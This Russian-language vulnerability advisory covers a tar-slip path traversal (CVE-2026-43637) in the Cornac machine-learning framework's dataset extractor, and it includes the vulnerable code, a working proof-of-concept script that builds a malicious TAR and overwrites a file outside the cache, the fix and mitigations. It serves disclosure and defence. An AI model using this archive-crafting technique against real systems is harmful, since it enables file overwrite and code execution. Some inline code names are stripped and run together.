
Обход пути (Tar Slip) в Cornac через _extract_archive (CVE-2026-43637)
Серьёзность: высокая, CVSS 4.0 8.8, критическая, CVSS 3.1 9.1 (присвоена VulnCheck, CNA)
Вектор (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Вектор (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Затронуто: cornac < 2.6.0
Исправлено в: 2.6.0
CWE: CWE-22 (Некорректное ограничение пути к ограниченному каталогу, 'Path Traversal')
Сообщили: Rahul Karne и Bharath Kumar Reddy Janumpally
CNA: VulnCheck
Опубликовано: 15 июля 2026 г.
Загрузчики наборов данных Cornac автоматически скачивают и распаковывают архивы, а распаковщик доверял каждому пути внутри архива.
Cornac — это фреймворк машинного обучения для рекомендательных систем. Его встроенные загрузчики наборов данных получают архивы по сети и извлекают их без какого-либо шага подтверждения. Процедура извлечения в вызывает без проверки путей элементов. Поэтому TAR-архив, элементы которого содержат последовательности , абсолютные пути или записи символьных и жёстких ссылок, записывает файлы в произвольные места файловой системы — в любые каталоги, куда может писать запущенный процесс, полностью за пределами предполагаемого каталога кэша. Некоторые загрузчики получают данные по обычному HTTP, поэтому атакующий, находящийся на сетевом пути, может подменить вредоносный архив при передаче, и он будет извлечён в момент вызова загрузчика.
_extract_archive()cornac/utils/download.pyarchive.extractall()../Произвольная запись файлов с полностью контролируемыми атакующим путём и содержимым, ограниченная только правами процесса, запускающего Cornac. Это примитив записи, а не чтения, поэтому прямого раскрытия данных нет, однако произвольная запись файлов — хорошо известный путь к выполнению кода и к отказу в обслуживании:
.py-файла в site-packages, стартового файла оболочки или записи запланированной задачи приводит к выполнению кода атакующего при следующем импорте, запуске оболочки или задания.Кто затронут: любое использование cornac < 2.6.0, которое вызывает загрузчик набора данных, скачивающий и извлекающий архив, который атакующий может контролировать или перехватывать. Поскольку загрузчики извлекают архивы автоматически, помимо обычного вызова загрузчика ничего не требуется.
Кто не затронут:
2.6.0 или новее, где извлечение проверяет каждый путь элемента.| Метрика | Значение | Источник |
|---|---|---|
| Скачиваний за всё время | 4.1M | pepy.tech/projects/cornac |
| Скачиваний за последние 30 дней | 67.8K | pepy.tech |
| Типичное использование | Исследования и преподавание в области рекомендательных систем; загрузчики наборов данных автоматически получают данные по сети, некоторые — по обычному HTTP | присуще фреймворку |
_extract_archive() в cornac/utils/download.py извлекает входные данные как ZIP, так и TAR через один и тот же путь кода и в случае TAR вызывает extractall() без проверки путей:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Ничто не ограничивает имена элементов, поэтому элемент с именем ../../somewhere/file разрешается за пределами extract_path и записывается туда.
Цепочка вызовов полностью автоматическая, начиная с вызова загрузчика:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
zipfile в Python очищает последовательности ../ при извлечении, поэтому ветвь ZIP в этой же функции не эксплуатируется в современных версиях Python. tarfile в Python не очищает пути элементов (до версии 3.12, а после — только с явным фильтром). Поскольку Cornac пропускает оба формата через одинаковый вызов extractall(), ветвь ZIP безопасна, а ветвь TAR полностью эксплуатируема через те же строки кода. Эту асимметрию легко не заметить именно потому, что код выглядит единообразно для обоих форматов.
Cornac скачивает файлы с помощью urllib.request.urlretrieve(), без пиннинга сертификатов и без проверки целостности архива, а некоторые встроенные загрузчики используют URL-адреса http://. Атакующий, находящийся на сетевом пути, может перехватить скачивание по обычному HTTP и вернуть вредоносный TAR без компрометации вышестоящего сервера; именно поэтому вектор является удалённым и не требует взаимодействия с пользователем помимо вызова загрузчика.
Атакующему необходимо:
< 2.6.0.Никаких привилегий на цели и никакого взаимодействия с пользователем помимо вызова загрузчика не требуется.
Нижеприведённое было запущено против реального неизменённого пакета путём прямого вызова собственной функции _extract_archive из Cornac.
Уязвимая версия (2.3.5). TAR, содержащий элемент ../../, извлекается в каталог кэша; элемент оказывается за пределами этого каталога и перезаписывает файл, принадлежащий отдельному приложению:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
Проверенный результат:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
Безвредный элемент записался внутри кэша, как и ожидалось; элемент ../../ записался в каталог отдельного приложения, и импорт этого приложения теперь завершается ошибкой.
Полная демонстрация атаки. poc_exploit.py в этом репозитории запускает всю цепочку целиком: HTTP-сервер атакующего доставляет вредоносный TAR, загрузчик, воспроизводящий цепочку вызовов cache() и _extract_archive() из Cornac, автоматически скачивает и извлекает его по одному вызову load_feedback(), и два файла перезаписываются в каталоге отдельного приложения. Уязвимая _extract_archive() используется дословно из исходного кода Cornac.
Исправленная версия (2.6.0). Тот же архив с обходом путей отклоняется до того, как что-либо будет записано:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
Обновитесь до cornac 2.6.0 или новее:
pip install --upgrade "cornac>=2.6.0"
В 2.6.0 незащищённый extractall() заменён вспомогательной функцией _safe_extract(), которая разрешает каждый путь элемента через os.path.realpath и отклоняет любую цель, выходящую за пределы каталога извлечения, а также допускает только обычные файлы и каталоги, блокируя записи символьных и жёстких ссылок, а также устройств.
Если вы не можете обновиться немедленно: не вызывайте загрузчики наборов данных, которые скачивают данные по недоверенным каналам или по обычному HTTP, и не извлекайте TAR-архивы из источников, которыми вы не управляете. Получение данных по HTTPS снижает риск перехвата при передаче, но не устраняет риск, исходящий от вредоносного или скомпрометированного вышестоящего источника.
VulnCheck (CNA) присвоила 8.8 (High) по CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).
AV:N: вредоносный архив доставляется по сети, а некоторые загрузчики получают данные по обычному HTTP без проверки целостности.AC:L: создание TAR с обходом путей тривиально, и атака срабатывает детерминированно при каждом вызове.PR:N: атакующему не нужна учётная запись или плацдарм на цели.UI:N: загрузчик скачивает и извлекает архив автоматически; один вызов загрузчика запускает всю цепочку без шага подтверждения.VC:N: примитив только для записи, поэтому влияние на конфиденциальность не заявляется.VI:H / VA:H: атакующий полностью контролирует записываемое содержимое и может уничтожить файлы, доступные для записи процессу, поэтому целостность и доступность затронутой системы находятся на высоком уровне.SC:N / SI:N / SA:N: CNA оценила влияние как ограниченное полномочиями уязвимой системы, а не отдельной последующей системы.Присвоенная CNA оценка 8.8 является официальной для данной проблемы.
| Дата | Событие |
|---|---|
| 3 мая 2026 г. | Уязвимость обнаружена |
| 4 мая 2026 г. | Сообщено (скоординированное раскрытие) |
| 14 июля 2026 г. | Исправление объединено (PR #709, коммит 8a50be7) |
| 15 июля 2026 г. | Выпущена исправленная версия 2.6.0 |
| 15 июля 2026 г. | CVE-2026-43637 опубликована VulnCheck |
Обнаружено и сообщено Rahul Karne (исследователь безопасности и старший член IEEE) и Bharath Kumar Reddy Janumpally, скоординировано через VulnCheck. Связанные раскрытия Rahul включают CVE-2026-65321 (SQL-инъекция в PyAthena) и CVE-2026-63720 (инъекция кода в datamodel-code-generator).
Контакт: [email protected] · GitHub: rahulreddykarne
8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8Запросы СМИ: [email protected]. Полный PoC (сервер атакующего, архив с обходом путей, приложение-жертва) и дополнительные технические подробности предоставляются по запросу.